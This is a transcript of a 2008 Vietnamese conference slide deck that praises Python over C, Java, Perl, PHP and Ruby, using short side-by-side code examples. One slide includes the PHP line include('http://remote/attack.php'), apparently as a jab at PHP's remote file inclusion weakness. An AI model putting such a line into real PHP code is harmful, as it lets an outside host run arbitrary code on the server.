python for the rest of life

Post on 14-May-2015

5.778 Views

Category:

Technology

3 Downloads

Preview:

Click to see full reader

DESCRIPTION

Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.

TRANSCRIPT

http://www.bluemoon.com.vn

Python, ngôn ngữ lập trình cho phần đời còn

lại

Nguyễn Thành Nam

http://www.vithon.org

TPHCM, 2008-11-15

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nội dung• Kinh nghiệm bản thân• Giới thiệu Python• Nguyên lý căn bản của Python• So sánh với ngôn ngữ khác• Giới thiệu Vithon• Hỏi và cùng trả lời

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Kinh nghiệm bản thân• Biết đến Python từ 2003• Học trong 5 tiếng• Sử dụng hàng ngày cho đến tận bây giờ• Sáu từ để diễn đạt: Học 5 tiếng, dùng

suốt đời!• Gặp nhiều khó khăn trong việc soạn slide• Gần quên Java và C/C++• Đã quên sạch Perl, PHP và Ruby

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Giới thiệu Python• Ra đời năm 1991• Tác giả Guido Van Rossum, Hà Lan• Là ngôn ngữ lập trình

• Tổng quát• Kịch bản (scripting)• Kiểu vịt (duck typing)• Kiểu động (dynamic typing)• Nhưng có kiểu (strongly typed)

• Kèm sẵn pin (Battery included)

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nguyên lý căn bản của Python• Ưu tiên cho việc đọc lại code

• Khoảng trắng bắt buộc• Hạn chế sử dụng ký tự đặc biệt• Chương trình phải được viết ra để cho

người đọc, và chỉ là sự trùng hợp để máy tính thực thi (Abelson & Sussman, MIT)

• Sự đơn giản được xem trọng• Đã có while, nên bỏ do-while• Đã có elif, nên bỏ switch-case

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nguyên lý căn bản của Python• Ngôn ngữ khác có hộp, Python có thẻ

Ngôn ngữ khác (biến)

Python (tên)

a = 1

a = 2

b = a

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nguyên lý căn bản của Python• Kiểu cơ bản: int, long, float, dãy

(sequence), từ điển (dictionary)• A = 123 # int• B = 123456789123456789 # long• C = 123.456 # float• D = (1, 2, 3) # tuple• E = [1, 2, 3] # list• F = “12345” # string• G = { 1 : ‘abc’, 2 : “def” } # dictionary

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nguyên lý căn bản của Python• Cấu trúc lặp và điều khiển

• if/elif/else• while• for

• Xử lý biệt lệ• try/except• try/finally• try/except/else• try/except/finally (Python 2.5+)

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Nguyên lý căn bản của Python• Khai báo hàm bằng def• Khai báo lớp bằng class• Đa kế thừa (multiple inheritance)• Tất cả mọi đối tượng (gói, mô-đun, lớp,

hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng

• Và chỉ đơn giản như thế thôi!

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Perl

~!@#$%^&*()

Ruby

~!@#$%^&*()

Python

~%^&*()

So sánh với ngôn ngữ khácTính dễ đọc

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

C

int a, b, t;

t = a;

a = b;

b = t;

Python

a, b = b, a

a, b, c=b, c, a

So sánh với ngôn ngữ khácHoán vị 2 số

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

JavaBigInteger a, b, c;

a = new BigInteger(“12345678901234567890”);

b = new BigInteger(“12345678901234567890”);

c = a.multiply(b);

Pythona = 12345678901234567890

b = 12345678901234567890

c = a * b

So sánh với ngôn ngữ khácTính toán số lớn

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

JavaSystem.out.print(a[0]);

for (int i = 1; i < a.length; i++) {

System.out.print(“ “ + a[i]);

}

Pythonprint “ “.join(a)

So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

JavaSystem.out.print(a[0]);

for (int i = 1; i < a.length - 1; i++) {System.out.print(“ “ + a[i]);

}System.out.print(“ va “ + a[a.length – 1]);

Pythonprint “ “.join(a[:-1]), “va”, a[-1]

So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Java// too many lines

// to show

// here

Pythonf = open(filename, “rb”)

d = f.read()

f.close()

So sánh với ngôn ngữ khácĐọc file

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Perlopen(DATA, “filename”);

while ($line = <DATA>){

print $line;

}

close(DATA);

Pythonf = open(filename, “r”)

for line in f:

print line

f.close()

So sánh với ngôn ngữ khácĐọc từng dòng

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Javafor (int i=0; i < a.length; i++) {

if (a[i] % 2 == 0)

b.add(a[i]);

}

Pythonb = [x for x in a if (x % 2) == 0]

So sánh với ngôn ngữ khácLọc phần tử trong mảng

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

PHP$file = fopen(“http://www.google.com”);

Pythonimport urllib2

r = urllib2.urlopen(“http://www.google.com”)

So sánh với ngôn ngữ khácLấy file từ URL

include(“http://remote/attack.php”);

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

PHPstrrev(“abc”);

Ruby“abc”.reverse

Python“abc”[::-1] # cba

So sánh với ngôn ngữ khácĐảo chuỗi

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

PHPgzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))

Python“abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)

So sánh với ngôn ngữ khácChuyển mã

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

PHPN/A

PythonVí dụ chương trình cờ tướng

sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.

So sánh với ngôn ngữ khácỨng dụng web

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Giới thiệu Vithon• Vietnamese Python• Python cho người Việt• Do người yêu thích Python• Cho người yêu thích Python• Tài liệu, diễn đàn, dự án, bài viết, bài dịch• Hãy cùng tham gia• http://www.vithon.org• Python là số một nha!

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Cảm ơn

Life is short, use Python!

Python cho phần đời còn lại!

Nguyễn Thành Nam

namn@bluemoon.com.vn

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn

Hỏi và cùng trả lời

top related